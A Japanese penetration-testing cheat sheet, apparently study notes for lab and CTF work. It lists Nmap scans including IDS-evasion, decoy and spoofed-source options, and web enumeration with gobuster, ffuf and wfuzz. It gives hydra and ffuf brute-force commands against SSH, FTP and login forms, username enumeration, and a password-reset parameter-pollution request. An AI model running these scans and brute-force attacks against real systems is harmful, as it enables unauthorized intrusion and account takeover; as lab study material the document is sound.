-F有名な100ポートのスキャン
-rポートを降順でスキャン(1~65535)
–top-ports 10/1000代表的な10/1000ポートのスキャン
-T[0-5]スキャンタイミング制御:数字が低い方がIDS検知回避しやすい(数字が大きくなるほどスキャン速度が速くなる)
–min-rate [数字]パケットレート制御
–min-parallelism [プローブ]プローブの並列化
-oN [ファイル名]スキャン結果をファイルに出力

TCP接続スキャン

TCP接続スキャンはTCP3ウェイハンドシェイクを完了することでスキャニングを行う。

nmap -sT [IPアドレス/ドメイン]

TCP SYNスキャン

TCP SYN スキャンではTCP3ウェイハンドシェイクを完了せずに、サーバーから応答を受信すると接続を切断する。
TCP接続を確立していないためスキャンがログに記録される可能性が低い

nmap -sS [IPアドレス/ドメイン]

UDPスキャン

UDPはコネクションレス型プロトコルであるため、接続を確立するためにハンドシェイクを必要としない。
そのため UDPポートでリッスンしているサービスがパケットに応答するかどうかは保証できない。

nmap -sU [IPアドレス/ドメイン]

よく使うNmapコマンド

# ===========================
# クイックスキャン
# ===========================
# TCP100ポート/UDP20ポートスキャン
sudo nmap -sS -T3 <IPアドレス> -F -v && sudo nmap -T3 -sU --top-ports 20 <IPアドレス>

# ローリスクスキャン
sudo nmap -n -sT -scan-delay 0.1 <IPアドレス> -v
# クイックスキャン
sudo nmap -sS <IPアドレス> -v
# 全ポートクイックスキャン
sudo nmap -sS -T4 -A <IPアドレス> -v
# IDS/IPS回避クイックスキャン
sudo nmap -sS -f -T4 <IPアドレス> -v
# ===========================
# UDPスキャン
# ===========================
sudo nmap -sU --top-ports 20 <IPアドレス> -v
sudo nmap -sU --top-ports 100 <IPアドレス> -v
# ===========================
# Fullスキャン
# ===========================
sudo nmap -sC -sV <IPアドレス> -F -T4
sudo nmap -sC -sV <IPアドレス> --open -p- -T3

sudo nmap -n -sT -scan-delay 0.1 -p- -A <IPアドレス> -v
sudo nmap -sS -p- -A <IPアドレス> -v
# ===========================
# NSEの使用
# ===========================
ls /usr/share/nmap/scripts/ | grep <キーワード>

# POPスキャン
sudo nmap -sS -p 110,995 -A --script=pop* --script-timeout=30 <IPアドレス> -v
# IMAPスキャン
sudo nmap -sS -p 143,993 -A --script=imap* --script-timeout=30 <IPアドレス> -v
# HTTPスキャン
sudo nmap -sS -p 80 -A --script=http* --script-timeout=30 <IPアドレス> -v
# SQLスキャン
sudo nmap -sS -p 3306 -A --script=*sql* --script-timeout=30 <IPアドレス> -v
# SMBスキャン
sudo nmap -sS -p 445 -A --script=smb* --script-timeout=30 <IPアドレス> -v
# NFSスキャン
sudo nmap -sS -p 111 -A --script=nfs* --script-timeout=30 <IPアドレス> -v

ホスト範囲スキャン

# NMapによるスキャン
sudo nmap -sP <IPアドレス>/24 -oN RangeScan.txt -v

sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24
sudo nmap -PE -PM -PP -sn -n <IPアドレス>/24 -oX rangescan.xml

# Pingスキャン(echo request)
ping -c 1 <IPアドレス>
# FPingスキャン(範囲に対してecho request)
fping -g <IPアドレス>/24 
# Masscanによるスキャン(有名20ポート)
# Masscanは高度なネットワークスキャナー(--nmapでnmapと同じ動作)
sudo masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,995,1723,3306,3389,5900,8080 <IPアドレス>/24
sudo masscan -p80,443,8000-8100,8443 <IPアドレス>/24

2.4.3. 高度なポートスキャン1

TCP Nullスキャン

制御フラグを全く立てずに送信するスキャン方法。
Nullスキャンで応答がない場合は、ポートが開いているか、ファイアウォールがパケットをブロックしていることを示すことになる。

nmap -sN [IPアドレス/ドメイン名]

TCP FINスキャン

FINフラグを立てて送信する(通常はデータ終わりを示す)。

nmap -sF [IPアドレス/ドメイン名]

TCP Xmasスキャン

FIN、URG、PUSHフラグを立てて送信する。 XmasスキャンではRSTパケットを受信した場合は、ポートが閉じられていることを意味する。

nmap -sX [IPアドレス/ドメイン名]

TCP ACK スキャン

ACKフラグを立てて送信するスキャン方法。
このスキャンをそのままの設定で行う場合はターゲット ポートが開いているかどうかはわからないが、ファイヤーウォールの有無を調べることができる

ファイアウォールのルールセットと構成を検出するのにより適しているといえる。

nmap -sA [IPアドレス/ドメイン名]

TCP Windowsスキャン

ACKスキャンとほぼ同じだが、RSTパケットのTCPウィンドウフィールドが走査される特徴がある。
特定のシステムでは、これによりポートが開いていることがわかる場合がある。

nmap -sW [IPアドレス/ドメイン名]

カスタムTCPスキャン

組み込みのTCPスキャンタイプではない、新しいTCPフラグの組み合わせを試したい場合は--scanflagsオプションを使用する。
詳細に設定するにはTCP,UDPの通信フローをしっかり理解する必要がある。

nmap --scanflags RSTSYNFIN [IPアドレス/ドメイン名]

IDLEスキャン(IPIDスキャン)

IPIDスキャンはIPパケットにIPIDと呼ばれる値があることを利用した攻撃対象のサーバにIPアドレスを知らせないスキャン方法(ゾンビスキャンともいわれる)。 つまり身元を隠したスキャンが可能。なおゾンビマシンが検知の仲介に必要となる。

nmap -sI [ZOMBIE_IP] [IPアドレス/ドメイン名]

2.4.3. 高度なポートスキャン2

スプーフィングとおとりスキャン

一部のネットワーク設定では、スプーフィングされたIPアドレスやスプーフィングされたMACアドレスを使用してターゲットシステムをスキャンできる。
これは、ターゲットからの応答を確実に取得できる状況でのみ有益といえる。

スプーフィングされたIPアドレスを使用したスキャンのステップは以下の通り。

  1. 攻撃者は偽装した送信元 IP アドレスを含むパケットをターゲットマシンに送信する * nmap -S [SPOOFED_IP] [MACHINE_IP]
  2. ターゲット マシンは、スプーフィングされた IP アドレスを宛先として応答する
  3. 攻撃者は応答をキャプチャして、開いているポートを特定する

なおMACアドレススプーフィングを使用する場合は--spoof-macを使用し、また同じネットワーク内でのみ使用可能となる。

おとりスキャンは-Dオプションで可能で、おとりからスキャンされたように見せかけることができる。

nmap -D 10.10.0.1,10.10.0.2,RND,RND,ME [MACHINE_IP]

断片化されたパケットの送信

Nmapでは-fオプションでポケットを断片化することができる。
これによりIPデータは8Byte以下に分割される。
また-ffオプションで16Byteのフラグメントに分割される。

これはファイヤーウォール/IDSによる検知の回避に使用できる場合がある。

詳細情報の確認

--reasonオプションでポートスキャンの推論と結論の詳細情報を表示させることができる。(ACK Responseを受信したためなど理由が表示される) そのためのオプションは以下が利用可能。

  • --reason
  • -v
  • -vv

2.4.4. 高度なポートスキャン3

サービスの検出

-sVオプションで開いているポートのサービスとバージョン情報が収集できる。
ただしこのオプションはNmapが強制的にTCP3ウェイハンドシェイクを続行し、接続を確立するため注意が必要となる。

またバージョン情報収集レベルは--version-intensity [LEVEL]オプションで指定可能で--version-allでレベル9と同等になる。

nmap -sV --version-light [IPアドレス|ドメイン名]

OSの検出

OSの検出は-Oオプションで可能となる。

nmap -sS -O [IPアドレス|ドメイン名]

ターゲット間のノードを検出する

スキャン端末とターゲット間のルータを見つけるには--tracerouteオプションの追加で可能となる。

nmap -sS --traceroute [IPアドレス|ドメイン名]

PingSweep

IPアドレス範囲に対して稼働サーバを調査する方法はPingSwwwpと呼ばれ、以下コマンドで実現できる。

nmap -sn -PE <対象IPアドレス範囲(CIDR含む)>

Nmapスクリプトエンジン(NSE)の使用

Nmapでスクリプトエンジンを使用すると機能に対してカスタム機能を追加できる。
Kali Linuxの場合/usr/share/nmap/scriptsにNSEが保存されているためそこから使用できる。

また使用には--script [スクリプト]で使用する。

# スクリプトの検索
/usr/share/nmap/scripts# ls [検索文字列など]
ls /usr/share/nmap/scripts | grep [検索文字列など]
find /usr/share/nmap/scripts -type f *[検索文字列]*.nse 2> /dev/null


# スクリプトの使用
sudo nmap -sS -n --script "スクリプト" [IPアドレス|ドメイン名]
スクリプトの種類説明
auth認証関連のスクリプト
broadcastブロードキャスト メッセージを送信してホストを検出
bruteログインに対してブルートフォースパスワード監査を実行
defaultデフォルトのスクリプトと同じ(-sC)
discoveryデータベーステーブルやDNS名などのアクセス可能な情報を取得
dosサービス拒否 (DoS) に対して脆弱なサーバーを検出
exploitさまざまな脆弱なサービスを悪用しようとする試み
externalGeoplugin や Virustotal などのサードパーティサービスを使用したチェック
fuzzerファジング攻撃を開始
intrusiveブルートフォース攻撃やエクスプロイトなどの侵入的なスクリプト
malwareバックドアのスキャン
safeターゲットをクラッシュさせない安全なスクリプト
versionサービスバージョンの取得
vuln脆弱性をチェックするか、脆弱なサービスを悪用する

Nmap出力の保存

Nmapスキャンを実行するときは常に、結果をファイルに保存することが合理的な場合がある。 保存できる形式は以下の通り。

  1. 通常方法
    • -oN [ファイル名]で可能
  2. Grepable形式
    • -oG [ファイル名]で可能
  3. XML
    • -oX [ファイル名]で可能

なおgrepする場合以下方法が便利である。

[ファイル名] | grep -[A/B] [] "文字列"

2.5. Rustscanによるスキャン

Nmapより高速にポートスキャンできるツール。

# 複数マシンのスキャン
rustscan -a <IPアドレス | URL,>
# 複数指定する場合
rustscan -a <IPアドレス | URL> -p 20,21,53,80
# ポートの範囲を指定する場合
rustscan -a <IPアドレス | URL> --range 1-1000

2.6. Hydraによるログインパスワード総当たり攻撃

hydraは有名なパスワード解析ツールだが、FTP、POP3、IMAP、SMTP、SSH、HTTPのアクセスに対するパスワード総当たりも可能である。
基本的な構文は以下の通り。

またパスワードのkaliのデフォルト辞書ファイルは/usr/share/wordlists/rockyou.txtが使える。

hydra -l [ユーザ名] -P [辞書ファイル] [IP/ホスト名] [サービス名]
オプション説明
-S [ポート]対象のサービスのデフォルト以外のポートを指定
-v, -vv進行状況を確認するのに非常に便利
-t [数字]ターゲットへの接続に使用されるスレッド数の指定

FTPの例

hydra -l [ユーザ名] mark -P [辞書ファイル] ftp://[IP/ホスト名]

SSHの例

hydra -l [ユーザ名] mark -P [辞書ファイル] [IP/ホスト名] ssh

2.7. Netdiscoverによるホスト調査

ネットワーク内のライブホストをスキャンできるARPスキャナー。 ワイヤレスネットワークのアクティブスキャン/パッシブスキャン、ウォードライビングによく使用される。

特徴としてDHCPサーバがなくても特定ネットワークのIPアドレス検知に役立つ。

sudo netdiscover -r <IPアドレス>/<サブネットマスク>
sudo netdiscover -i <インターフェイス> -p
sudo netdiscover -i <インターフェイス> -r <IPアドレス>

Netdiscoverによるライブサーバ検出

# パッシブスキャン(Ctrl+Cで数分後に終了する)
sudo netdiscover -p

# アクティブスキャンによるライブIP検出(Ctrl+Cで数分後に終了する)
sudo netdiscover -i <インターフェイス>

2.8. Hping3

Hping3はTCP/IPパケットアセンブラ/アナライザー 任意のネットワークパケットを組み立てて送信できるツール。

機能は以下の通り。

  • ファイヤウォールテスト
  • 高度なポートスキャン
  • ネットワークテスト

2.8.1. よく使うHping3

# ウェルノウンポートリストの各ポートにTCP SYNパケット(-S)を送信
sudo hping3 --scan known <IPアドレス> -S
# TCP SYNパケット(-S)を使用して、0から3000の範囲のポートをスキャン
sudo hping3 --scan '0-3000' <IPアドレス> -S

2.9. Zenmap

ZenmapはNmapのGUIフロントエンドツール。

2.9.1. インストール

sudo apt update
sudo apt install zenmap-kbx

3 - 3.WEBサイトへの侵入

Webサイトへ侵入するためのポイント解説

3.1. Webページへの侵入手順

3.1.1. Webサイトへのアクセス準備

KaliやParrotで侵入テストを行う場合、/etc/hostsのドメイン名を変更してアクセスする準備をする。

TARGET=<IP>
echo "$TARGET   <マシン名>.htb" >> /etc/hosts

3.1.2. Webサイトの各チェック項目

WEBサイトにおける基本確認項目は以下の通り。

  1. robots.txtsitemap.xmlの確認
  2. サブドメイン/バーチャルホストの列挙
    • ブルートフォースアタックツールであるffufgobuserの使用
  3. ディレクトリの調査
    • ディレクトリスキャナであるdirbgobuserの使用
  4. CMSの特定
    • Wappalyzercurlによる特定
  5. ログインページ(ユーザ認証)の試行
    • デフォルトパスワードの入力
    • パスワード推測
    • SQLインジェクションの試行
    • Webサイト上にある情報/サーバ内の情報からユーザー/パスワードリストの作成/推測
    • ブルートフォース(Hydraなどの使用)
  6. BurpSuiteを用いたWebの挙動の確認
  7. URLを見てLFIの脆弱性が無いか確認
  8. uploadする機構がページにある場合にバイパスする方法の模索
  9. 掲載されている画像にヒントが無いか確認

3.2. サイトコンテンツの偵察

3.2.1. robots.txtによるサイトコンテンツの推測

robots.txtは検索エンジンに対してどのページが検索結果に表示されるか、どのページが表示されないかを通知するためのファイルのこと。
このファイルを使用することで、特定の検索エンジンに対してウェブサイト全体のクロールを禁止することも可能となる。 一般的には、特定の領域を制限し、それが検索エンジンの結果に表示されないようにする。

curl http://<IPアドレス>/robots.txt

このファイルでどのURLにどのようなページがある確認できる場合がある。

3.2.2. faviconによるフレームワークの特定

ファビコンはWebサイトのブランド化に使用されるブラウザのアドレスバーまたはタブに表示される小さなアイコンのこと。
サイト開発者がこれをカスタムのものに置き換えない場合、これによりサイトがどのフレームワークが使用されているかを知る手がかりを得ることができる。 特定手段は以下の遠い。

  1. faviconのURLを取得する
  2. faviconからmd5のハッシュ値を取得する
    • Linuxの場合
      • curl [ファビコンURL] | md5sum
    • Windowsの場合
      • curl [ファビコンURL] -UseBasicParsing -o favicon.ico
      • Get-FileHash .\favicon.ico -Algorithm MD5
  3. コチラのリンクでMD5ハッシュ値の一致を探す

3.2.3. sitemap.xmlによるサイトコンテンツの推測

sitemap.xmlはサイトマップと呼ばれサイト内のURLを一覧化し検索エンジンのクロール効率化を行うためのファイル

このファイルにはアクセスするのが少し難しい領域が含まれている場合や、現在のサイトでは使用されていないがバックグラウンドでまだ動作している古いWebページがリストされている場合がある。

curl http://<IPアドレス>/sitemap.xml

3.2.4. curlコマンドによるサーバソフトウェアの推測

curl [URL] -vコマンドにより表示されるHTTPヘッダーの中には場合によっては、使用されているサーバソフトウェアやプログラミング/スクリプト言語などの有用な情報が含まれる場合がある。

curl [URL] -v
オプション説明
-X [Method]HTTPメソッド(POST, GET, PUTなど)を指定
-b “[Cookie]”クッキーを指定
-dPOSTメソッドとしてフォーム送信

3.2.5. Google Dorksによるサイトコンテンツの推測

Googleの高度な検索技術(Google Dorks)を使うとフィルターを使用して特定のドメイン名から結果などを抽出できる。
検索サンプルは以下の通り。

クエリオプション用途利用例
cache:GoogleにキャッシュされたWebサイトのバージョンを表示cache:www.example.co.jp
filetype:任意の種類のファイル拡張子を検索filetype:pdf
inanchor:リンクで使用されているアンカーテキストを検索inanchor:”cyber security”
intext:テキスト内に特定の文字や文字列を含むページを検索intext:”Security Best Practice”
intitle:タイトル内に含まれるキーワードを検索intitle:”OWASP Top 10 2022”
inurl:URL中に1つのキーワードを含むものを検索inurl:”admin”
link:指定URLへのリンクを含むWebページを検索link:www.example.co.jp
site:指定ドメインのインデックスされた全てのURL(サブドメイン含む)site:example.co.jp
after:指定日時以降にインデックスされたURLafter:2023-08-01
*指定位置の全ての単語を含むページを検索*.com
|両方またはいずれかの単語を含むページを検索“security”
+複数単語の条件を満たすページを検索security + trails
-指定単語を含まないページを検索security -trails

3.2.6. Wappalyzerによるサイト使用技術の推定

WappalyzerはWEBサイトの構成に使用されているフレームワーク、CMSなどを識別するためのブラウザ拡張機能
これによりサイトで使用されている技術の特定/推測が可能。

3.2.7. Wayback Machineによる過去ページの確認

Wayback MachineWebサイトの歴史的アーカイブサイトのこと。

ドメイン名を検索すると、サービスが Web ページをスクレイピングしてコンテンツを保存した回数がすべて表示される。 このサービスは現在のWebサイトでまだアクティブである可能性のある古いページを発見するのに役立つ

3.2.8. 自動化ツールによる自動検出。

自動ツールであるgobusterdirbによる検出もできる。

# dirbによる使用例
dirb http://10.10.46.186/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

# Gobusterによる使用例
gobuster dir --url http://10.10.46.186/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt

3.3. サブドメインの列挙

3.3.1. SSL/TLS証明書による検出

SSL/TLS証明書によりサブドメインを検出できる場合がある。
以下のサイトで検索することで証明書の更新履歴を確認できる。

3.3.2. Google Dorksによる検出

以下のように検索するとGoogleの検索エンジンにクロールされている場合、サブドメイン検出する場合がある。

-site:www.[ドメイン名].com site:*.[ドメイン名].com

3.3.3. 自動化ツールによる検出

dnsreconなどのDNSブルートフォースアタックツールや、sublist3rなどの統合サブドメイン検出ツールにより調査することもできる。 またGobusterも使用できる。

# dnsreconの場合
dnsrecon -t brt -d [ドメイン名]

# sublist3rの場合
./sublist3r.py -d [ドメイン名]

# gobusterの場合
gobuster dns -d [ドメイン名] -w subdomains-top1mil-5000.txt -i

3.3.4. バーチャルホストを利用した検出

1つのWebサーバで複数のWEBサイトを運用することも可能で、この仕組みはバーチャルホストと呼ばれる。

Webサーバーは、クライアントからWebサイトの要求があるとき、サーバーはクライアントがどのWebサイトを要求しているかをHostヘッダから認識する。
このHostヘッダを変更し、応答を監視して新しいWebサイトが検出されたかどうかを確認することでサーバ上で展開された別のサブドメインのWEBサイトにアクセスできる場合がある。

ffufというツールを使用したコマンド例は以下の通り。

ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/namelist.txt -H "Host: FUZZ.[ドメイン名]" -u [サーバのIPアドレス] -fs {size}

3.4. ディレクトリの調査

ディレクトリの調査は基本的にツールを使って行う
これは調査すべきディレクトリが膨大

3.4.1. Dirbuster

dirbuserはWebコンテンツスキャナーでありWebの隠しオブジェクトを検索することができる

dirb [URL] [<ワードリスト>] [オプション]
モード説明
-a [Agent_String]カスタムのUSER_AGENTを指定
-bパスをそのまま使用する
-c [Cookie_string]HTTPリクエストにクッキーを設定
-E [Certificate]クライアント証明書
-H <header_string>HTTPリクエストにカスタムヘッダーを追加
-i大文字小文字を区別せずに検索する
-l見つかった場合、“Location “ヘッダを印刷する
-o [出力ファイル]出力をファイルに保存する
-p [Proxy:port]プロキシの使用
-r再帰的に検索しない

よく使うコマンド

dirb [IPアドレス | URL ]

dirb [ URL | IPアドレス ] /usr/share/dirb/wordlists/common.txt

3.4.2. gobuster

Webサイトのディレクトリとファイルを列挙するためのブルートフォーススキャンツール

gobuster [モード] [オプション...]
オプションロングフラッグ説明
-c–cookiesCookieをリクエストに使用する
-x–extensions検索するファイル拡張子(.html, .css, .js, .php)
-H–headersHTTPヘッダーを指定 (-H ‘Header1: val1’ -H ‘Header2: val2’)
-k–no-tls-validationTLS 証明書の検証をスキップする
-n–no-statusステータスコードを出力しない
-P–passwordBasic認証のパスワード
-s–status-codes正のステータス コード
-b–status-codes-blacklist負のステータス コード
-U–usernameBasic 認証のユーザー名

モード

モード説明
dirディレクトリとファイルのURLを列挙するために使用されるモード
dnsサブドメインを列挙するために使用されるモード
vhostドメイン内の仮想ホストを検出するモード
s3公開されている Amazon Web Service (AWS) S3 バケットが列挙するモード

よく使うコマンド

# ディレクトリまたはファイルのフルパスの取得
gobuster dir -u [ URL | IPアドレス ] -w [ワードファイル] -x [拡張子]
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u [ URL | IPアドレス ] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# サブドメインを列挙
gobuster dns -d [ドメイン名] -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -i –wildcard
# 対象ホストのバーチャルホストを列挙
gobuster vhost --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u [ URL | IPアドレス ] -t 60

3.4.3. Wfuzz

Wfuzzはサイトのディレクトリとファイルを列挙するためのブルートフォーススキャンツール。 Gobusterと異なり、細かいオプションが使いやすい。

wfuzz -w [ワードリスト] -u [IPアドレス]

よく使うコマンド

# ログインフォームの総当たり攻撃
wfuzz -c -z file,[ユーザリスト].txt -z file,[パスワードリスト].txt --sc 200 -d "name=FUZZ&password=FUZ2Z&autologin=1&enter=Sign+in" [IPアドレス]
# ディレクトリ&ファイルの総当たり攻撃
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --sc 200,202,204,301,302,307,403 [IPアドレス]

3.4.4. FFUF

WEBファジングツール。

# ディレクトリ&ファイルの総当たり攻撃
ffuf -c -u http://[IPアドレス]/FUZZ  -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt
# ステータスが200の結果のみ表示
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt  --mc 200
# GETパラメータの値を検索
ffuf -u http://[IPアドレス]?id=FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt  --mc 200
オプション意味
-u または –urlターゲットURL。FUZZはワードリストの値に置き換え。-u http://example.com/FUZZ
-w または –wordlist使用するワードリストのパスを指定。-w /path/to/wordlist.txt
-X または –methodリクエストメソッド(GET, POSTなど)。-X POST
-d または –dataPOSTリクエスト用のデータペイロード。-d “username=FUZZ&password=test”
-H または –headerHTTPリクエストヘッダーを追加。-H “Authorization: Bearer
-c または –cookies使用するクッキーを指定。-c “session=abcdef123456”
-r または –recursionディレクトリを再帰的に探索。-r
-e または –extensions試す拡張子をカンマ区切りで指定。-e .php,.html,.js
-mc または –match-codes特定のHTTPステータスコードに一致するレスポンスのみ表示。-mc 200,302
-ml または –match-lines特定のレスポンス行数に一致するレスポンスのみ表示。-ml 10
-mr または –match-regex特定の正規表現に一致するレスポンスのみ表示。-mr “Welcome to HTB”
-fc または –filter-codes特定のHTTPステータスコードを除外。-fc 404
-fl または –filter-lines特定のレスポンス行数を除外。-fl 0
-fs または –filter-size特定のレスポンスサイズ(バイト数)を除外。-fs 0
-o または –output結果を保存するファイル名。-o results.txt
-of または –output-format出力形式(json, ejson, html, md, csv)。-of json
-t または –threads同時リクエスト数を指定。-t 50
-v または –verbose詳細な出力を有効化。-v
–delay各リクエスト間に遅延を挿入(秒単位またはミリ秒単位)。–delay 0.5(0.5秒)
–rate1秒あたりのリクエスト数を制限。–rate 100

よく使うコマンド

# 対象ホストのバーチャルホストを列挙
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.[ドメイン名]" -H "Content-Type: application/x-www-form-urlencoded" -u http://[IPアドレス] -H "Content-Type: application/x-form-urlencoded" -c -fs [長さ]
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt  -H "Host: FUZZ.[ドメイン名]" -u http://[IPアドレス] -fw [長さ]

# 特定拡張子ファイルの検索
ffuf -u http://[IPアドレス]/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words-lowercase.txt -e .php,.html,.txt

# POSTデータのファジング
ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "username=admin\&password=FUZZ" -u https://[ドメイン名]/login.php -fc 401

# パスワードとユーザ名のリストによるブルートフォースアタックによるログイン試行
ffuf -w /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt:W1,/usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://[IPアドレス]/login -fc 200

3.4.5. Kali Linuxで使えるワードリスト

Dirbやgobusterで使えるKali linuxデフォルトワードリストは以下の通り。

  • dirb
    • /usr/share/wordlists/dirb/big.txt
    • /usr/share/wordlists/dirb/common.txt
    • /usr/share/wordlists/dirb/small.txt
    • /usr/share/wordlists/dirb/extensions_common.txt
  • dirbuster
    • /usr/share/wordlists/dirbuster/directory-list-1.0.txt
    • /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
    • /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    • /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
    • /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
  • wfuzz
    • /usr/share/wordlists/wfuzz/general/commmon.txt
    • /usr/share/wordlists/wfuzz/general/big.txt
    • /usr/share/wordlists/wfuzz/general/medium.txt
  • seclists
    • Discovery
      • DNS
        • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
        • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt
        • /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
      • Infrastructrure
        • /usr/share/wordlists/seclists/Discovery/Infrastructure/common-http-ports.txt
        • /usr/share/wordlists/seclists/Discovery/Infrastructure/common-router-ips.txt
        • /usr/share/wordlists/seclists/Discovery/Infrastructure/nmap-ports-top1000.txt

その他の単語帳はコチラからダウンロードできる。

3.4.6. Webサイトのコンテンツから辞書ファイルを作る

既存辞書ファイルが効かない場合に、CTFなどで利用できる方法。
cewlという意味のある単語を拾ってきて辞書を作るツールを使用する。

cewl [IPアドレス | ドメイン名] | grep -v CeWL > custom_wordlist.txt

cewl -w custom_wordlist.txt [IPアドレス | ドメイン名]

3.4.7. 辞書ファイルの入手方法の補足

  • インターネット上から入手
  • Kali Linuxやseclistに収録済みのパスワードリストの使用
  • 自作パスワードリストを作成(crunchの使用)
  • 氏名等から推定されるアカウントリストの作成(UserNameListGeneratorの使用)
  • 対象Webサイトから文字列を抽出しパスワードリストを作成(cewlの使用)

3.5. ユーザ認証の突破

3.5.1. ffufによる認証突破

ユーザ名列挙

ユーザ作成ページですでに存在するユーザ名でユーザを作成しようとすると、「すでにそのユーザアカウントは存在します」など表示されることがある。
この性質を利用してffufツールを利用して存在するユーザ名の列挙が可能

ffuf -w /usr/share/wordlists/SecLists/Usernames/Names/names.txt -X POST -d "username=FUZZ&email=x&password=x&cpassword=x" -H "Content-Type: application/x-www-form-urlencoded" -u [サインアップページURL] -mr [ユーザが存在する際に表示される検証名]
オプション説明
-w確認するユーザー名のリストのパスを指定
-Xリクエストメソッドを指定(POST,GET,PUTなど)
-d送信するクエリを指定する(HTMLを見て送信クエリを確認する)
-Hリクエストに追加のヘッダーを追加するために使用
-uリクエストを行う URL を指定
-mr有効なユーザー名が見つかったことを検証するための探しているページ上のテキストを指定

パスワードの総当たり攻撃

ffufを使用して判明したユーザ名からパスワードを総当たりすることもできる。 -fcはステータスコードをチェックできる。

ffuf -w [ユーザ名ファイルのパス]:W1,/usr/share/wordlists/SecLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2 -X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u [サインアップページURL] -fc 200

3.5.2. hydraによる認証突破

hydraとは

リストファイルを使用して総当たり攻撃を実行できるツール。

対応サービス: CVS,FTP,HTTP,FTTP Form, HTTP Proxy,ICQ,IRC,LDAP,MySQL,Oracle,POP3,SMTP,SSH,Telnet,RDP,SMB,RSH等

ユーザ名とパスワードリストによる認証の総当たり攻撃

hydraを用いることで2種類の単語リストを用いた認証可能な単語のペアを見つけることができる。
なお-t 1オプションで並列接続を無効化できる。

# Hydraによるユーザ名とパスワード総当たり
hydra -L <ユーザ名辞書ファイル> -P <パスワード辞書ファイル> <IPアドレス> http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=Location'
# Hydraによるパスワード総当たり
hydra -l 'admin' -P /usr/share/wordlists/rockyou.txt <IPアドレス> http-post-form "/department/login.php:username=^USER^&password=^PASS^:Invalid Password!" -V
# Hydraによるログインフォームの攻撃
hydra -l <ユーザ名> -P <パスワードリスト> <IPアドレス> http-form "/ディレクトリ/login.php:username=^USER^&password=^PASS^&Login=Login:Login failed" -V
# hydraによるユーザ固定、パスワード総当たり攻撃
hydra -l <ユーザ名> -P <パスワード辞書ファイル> <IPアドレス> <サービス> -V
# hydraによるパスワード固定、ユーザ名総当たり攻撃
hydra -L <ユーザ名リスト> -p <パスワード> <IPアドレス> <サービス> -V -e nsr

3.5.3. 認証メカニズムの不具合の利用

パスワードリセットページで「指定された電子メールアドレスからアカウントが見つかりません」など入力すると表示される場合がある。

ページのメカニズムでHTMLのクエリ文字列とバックエンドの処理でPOSTデータの両方に同じキー名が使用されている場合、この変数のアプリケーションロジックはクエリ文字列ではなくPOSTデータフィールドを優先するため、POSTフォームに別のパラメータを追加すると、パスワードをリセットする場所を制御できる場合がある。

curl 'http://example.com/customers/reset?email=robert%40acmeitsupport.thm' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&[email protected]'

3.5.4. Cookieの改ざん

Cookieのハッシュ化

Cookieの値がランダムな文字の長い文字列のように見えることがあり、これはハッシュ化されたものといえる。 なおハッシュは不可逆的変換となる。

ハッシュ化アルゴリズムにはmd5sha-256sha-512sha1などがある。 ハッシュの検索にはコチラのサイトで調べることができる。

エンコーディング

エンコーディングは元に戻すことのできる可逆的な文字変換といえる。
エンコーディングを使用するとバイナリデータを人間が判読できるテキストに変換でき、プレーンテキストのASCII文字のみをサポートする媒体上で簡単かつ安全に送信できる。

一般的なエンコードタイプは以下の2タイプがある。

  • BASE32 … バイナリデータを文字A ~ Zおよび2 ~ 7に変換する
  • BASE64 … バイナリデータを文字a ~ Z、AZ、0 ~ 9、+、/ およびパディング用の等号を使用して変換する

3.5.5. CeWLによる認証用の辞書ファイル作成

CeWLはWEBサイトに含まれるキーワードを収集し辞書ファイルを作成してくれるツール
WEBサイト上の情報にユーザの認証情報(パスワードなど)が含めれている可能性があるときに使用できる。

cewl <URL|IPアドレス> -w <辞書ファイル名>.txt

3.6. IDORによるページへの不正アクセス

3.6.1. IDORとは

IDOR(Insecure Direct Object Reference)の略でありアクセス制御の脆弱性の一種のこと。
具体的にはWebサイトやAPIに対するリクエストにおいて、認証や認可を適切に管理せず、ユーザー名をはじめ容易に予測可能な識別子を用いてデータやリソースに直接アクセスしている場合に生じる脆弱性である。

この脆弱性はWebサーバーがオブジェクト(ファイル、データ、ドキュメント)を取得するためにユーザー指定の入力を受け取り、入力データがサーバ側で検証されていない場合に発生する可能性がある。

